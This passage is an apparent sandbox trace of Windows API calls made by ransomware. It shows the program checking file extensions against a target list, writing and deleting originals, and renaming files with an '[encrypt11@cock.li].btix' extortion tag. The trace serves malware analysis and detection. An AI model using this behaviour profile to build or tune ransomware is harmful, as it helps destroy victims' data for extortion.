lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0044.889] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xee, lpOverlapped=0x0) returned 1 [0044.889] SetEndOfFile (hFile=0x350) returned 1 [0044.890] CloseHandle (hObject=0x350) returned 1 [0044.892] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.892] SetEndOfFile (hFile=0x368) returned 1 [0044.893] CloseHandle (hObject=0x368) returned 1 [0044.893] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0044.893] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 1 [0044.893] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0044.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0044.894] lstrlenW (lpString=".doc") returned 4 [0044.894] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0044.894] lstrlenW (lpString=".docx") returned 5 [0044.894] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1 [0044.894] lstrlenW (lpString=".pdf") returned 4 [0044.894] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0044.894] lstrlenW (lpString=".xls") returned 4 [0044.894] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0044.894] lstrlenW (lpString=".xlsx") returned 5 [0044.894] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1 [0044.894] lstrlenW (lpString=".ppt") returned 4 [0044.894] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0044.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0044.894] lstrlenW (lpString=".zip") returned 4 [0044.894] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0044.894] lstrlenW (lpString=".rar") returned 4 [0044.894] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0044.894] lstrlenW (lpString=".bz2") returned 4 [0044.894] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0044.894] lstrlenW (lpString=".7z") returned 3 [0044.894] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0044.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0044.894] lstrlenW (lpString=".dbf") returned 4 [0044.894] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0044.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0044.894] lstrlenW (lpString=".1cd") returned 4 [0044.894] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0044.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0044.894] lstrlenW (lpString=".jpg") returned 4 [0044.894] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0044.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0044.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0044.895] lstrlenW (lpString=".doc") returned 4 [0044.895] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0044.895] lstrlenW (lpString=".docx") returned 5 [0044.895] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1 [0044.895] lstrlenW (lpString=".pdf") returned 4 [0044.895] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0044.895] lstrlenW (lpString=".xls") returned 4 [0044.895] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0044.895] lstrlenW (lpString=".xlsx") returned 5 [0044.895] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1 [0044.895] lstrlenW (lpString=".ppt") returned 4 [0044.895] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0044.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0044.895] lstrlenW (lpString=".zip") returned 4 [0044.895] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0044.895] lstrlenW (lpString=".rar") returned 4 [0044.895] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0044.895] lstrlenW (lpString=".bz2") returned 4 [0044.895] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0044.895] lstrlenW (lpString=".7z") returned 3 [0044.895] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0044.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0044.895] lstrlenW (lpString=".dbf") returned 4 [0044.895] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0044.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0044.895] lstrlenW (lpString=".1cd") returned 4 [0044.895] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0044.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0044.895] lstrlenW (lpString=".jpg") returned 4 [0044.896] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0044.896] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0044.896] lstrlenW (lpString="Alphabet.xml") returned 12 [0044.896] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0045.164] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=791421) returned 1 [0045.164] CloseHandle (hObject=0x37c) returned 1 [0045.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0045.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0045.164] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0045.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0045.164] lstrlenW (lpString=".doc") returned 4 [0045.164] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.164] lstrlenW (lpString=".docx") returned 5 [0045.164] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0045.164] lstrlenW (lpString=".pdf") returned 4 [0045.164] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.164] lstrlenW (lpString=".xls") returned 4 [0045.164] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.164] lstrlenW (lpString=".xlsx") returned 5 [0045.164] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0045.164] lstrlenW (lpString=".ppt") returned 4 [0045.164] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0045.165] lstrlenW (lpString=".zip") returned 4 [0045.165] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.165] lstrlenW (lpString=".rar") returned 4 [0045.165] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.165] lstrlenW (lpString=".bz2") returned 4 [0045.165] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.165] lstrlenW (lpString=".7z") returned 3 [0045.165] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0045.165] lstrlenW (lpString=".dbf") returned 4 [0045.165] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0045.165] lstrlenW (lpString=".1cd") returned 4 [0045.165] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0045.165] lstrlenW (lpString=".jpg") returned 4 [0045.165] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0045.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0045.165] lstrlenW (lpString=".doc") returned 4 [0045.165] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.165] lstrlenW (lpString=".docx") returned 5 [0045.165] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0045.165] lstrlenW (lpString=".pdf") returned 4 [0045.165] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.165] lstrlenW (lpString=".xls") returned 4 [0045.165] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.165] lstrlenW (lpString=".xlsx") returned 5 [0045.165] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0045.165] lstrlenW (lpString=".ppt") returned 4 [0045.165] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0045.165] lstrlenW (lpString=".zip") returned 4 [0045.165] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.165] lstrlenW (lpString=".rar") returned 4 [0045.166] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.166] lstrlenW (lpString=".bz2") returned 4 [0045.166] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.166] lstrlenW (lpString=".7z") returned 3 [0045.166] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0045.166] lstrlenW (lpString=".dbf") returned 4 [0045.166] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0045.166] lstrlenW (lpString=".1cd") returned 4 [0045.166] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0045.166] lstrlenW (lpString=".jpg") returned 4 [0045.166] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.166] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0045.166] lstrlenW (lpString="Content.xml") returned 11 [0045.166] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0045.675] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=27045) returned 1 [0045.675] CloseHandle (hObject=0x324) returned 1 [0045.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0045.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0045.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0045.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0045.676] lstrlenW (lpString=".doc") returned 4 [0045.676] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.676] lstrlenW (lpString=".docx") returned 5 [0045.676] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0045.676] lstrlenW (lpString=".pdf") returned 4 [0045.676] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.676] lstrlenW (lpString=".xls") returned 4 [0045.676] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.676] lstrlenW (lpString=".xlsx") returned 5 [0045.676] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0045.676] lstrlenW (lpString=".ppt") returned 4 [0045.676] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0045.676] lstrlenW (lpString=".zip") returned 4 [0045.676] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.676] lstrlenW (lpString=".rar") returned 4 [0045.676] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.676] lstrlenW (lpString=".bz2") returned 4 [0045.676] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.676] lstrlenW (lpString=".7z") returned 3 [0045.676] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0045.676] lstrlenW (lpString=".dbf") returned 4 [0045.676] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0045.676] lstrlenW (lpString=".1cd") returned 4 [0045.676] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0045.676] lstrlenW (lpString=".jpg") returned 4 [0045.676] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0045.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0045.677] lstrlenW (lpString=".doc") returned 4 [0045.677] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.677] lstrlenW (lpString=".docx") returned 5 [0045.677] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0045.677] lstrlenW (lpString=".pdf") returned 4 [0045.677] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.677] lstrlenW (lpString=".xls") returned 4 [0045.677] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.677] lstrlenW (lpString=".xlsx") returned 5 [0045.677] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0045.677] lstrlenW (lpString=".ppt") returned 4 [0045.677] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0045.677] lstrlenW (lpString=".zip") returned 4 [0045.677] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.677] lstrlenW (lpString=".rar") returned 4 [0045.677] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.677] lstrlenW (lpString=".bz2") returned 4 [0045.677] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.677] lstrlenW (lpString=".7z") returned 3 [0045.677] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0045.677] lstrlenW (lpString=".dbf") returned 4 [0045.677] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0045.677] lstrlenW (lpString=".1cd") returned 4 [0045.677] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0045.677] lstrlenW (lpString=".jpg") returned 4 [0045.677] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.677] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0045.677] lstrlenW (lpString="insertbase.xml") returned 14 [0045.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0046.170] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=903) returned 1 [0046.170] CloseHandle (hObject=0x2e0) returned 1 [0046.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20 [0046.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0046.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0046.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0046.171] lstrlenW (lpString=".doc") returned 4 [0046.171] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.171] lstrlenW (lpString=".docx") returned 5 [0046.171] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0046.171] lstrlenW (lpString=".pdf") returned 4 [0046.171] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.171] lstrlenW (lpString=".xls") returned 4 [0046.171] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.171] lstrlenW (lpString=".xlsx") returned 5 [0046.171] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0046.171] lstrlenW (lpString=".ppt") returned 4 [0046.171] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0046.171] lstrlenW (lpString=".zip") returned 4 [0046.171] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.171] lstrlenW (lpString=".rar") returned 4 [0046.171] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.171] lstrlenW (lpString=".bz2") returned 4 [0046.171] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.171] lstrlenW (lpString=".7z") returned 3 [0046.171] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0046.171] lstrlenW (lpString=".dbf") returned 4 [0046.171] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0046.171] lstrlenW (lpString=".1cd") returned 4 [0046.171] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0046.171] lstrlenW (lpString=".jpg") returned 4 [0046.171] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0046.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0046.172] lstrlenW (lpString=".doc") returned 4 [0046.172] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.172] lstrlenW (lpString=".docx") returned 5 [0046.172] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0046.172] lstrlenW (lpString=".pdf") returned 4 [0046.172] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.172] lstrlenW (lpString=".xls") returned 4 [0046.172] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.172] lstrlenW (lpString=".xlsx") returned 5 [0046.172] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0046.172] lstrlenW (lpString=".ppt") returned 4 [0046.172] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0046.172] lstrlenW (lpString=".zip") returned 4 [0046.172] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.172] lstrlenW (lpString=".rar") returned 4 [0046.172] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.172] lstrlenW (lpString=".bz2") returned 4 [0046.172] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.172] lstrlenW (lpString=".7z") returned 3 [0046.172] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0046.172] lstrlenW (lpString=".dbf") returned 4 [0046.172] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0046.172] lstrlenW (lpString=".1cd") returned 4 [0046.172] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0046.172] lstrlenW (lpString=".jpg") returned 4 [0046.172] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.173] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0046.173] lstrlenW (lpString="ea.xml") returned 6 [0046.173] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0046.187] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=384) returned 1 [0046.187] CloseHandle (hObject=0x37c) returned 1 [0046.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0046.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0046.187] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0046.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0046.187] lstrlenW (lpString=".doc") returned 4 [0046.187] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.187] lstrlenW (lpString=".docx") returned 5 [0046.187] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0046.187] lstrlenW (lpString=".pdf") returned 4 [0046.187] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.187] lstrlenW (lpString=".xls") returned 4 [0046.187] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.187] lstrlenW (lpString=".xlsx") returned 5 [0046.187] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0046.187] lstrlenW (lpString=".ppt") returned 4 [0046.187] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0046.188] lstrlenW (lpString=".zip") returned 4 [0046.188] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.188] lstrlenW (lpString=".rar") returned 4 [0046.188] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.188] lstrlenW (lpString=".bz2") returned 4 [0046.188] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.188] lstrlenW (lpString=".7z") returned 3 [0046.188] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0046.188] lstrlenW (lpString=".dbf") returned 4 [0046.188] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0046.188] lstrlenW (lpString=".1cd") returned 4 [0046.188] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0046.188] lstrlenW (lpString=".jpg") returned 4 [0046.188] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0046.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0046.188] lstrlenW (lpString=".doc") returned 4 [0046.188] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.188] lstrlenW (lpString=".docx") returned 5 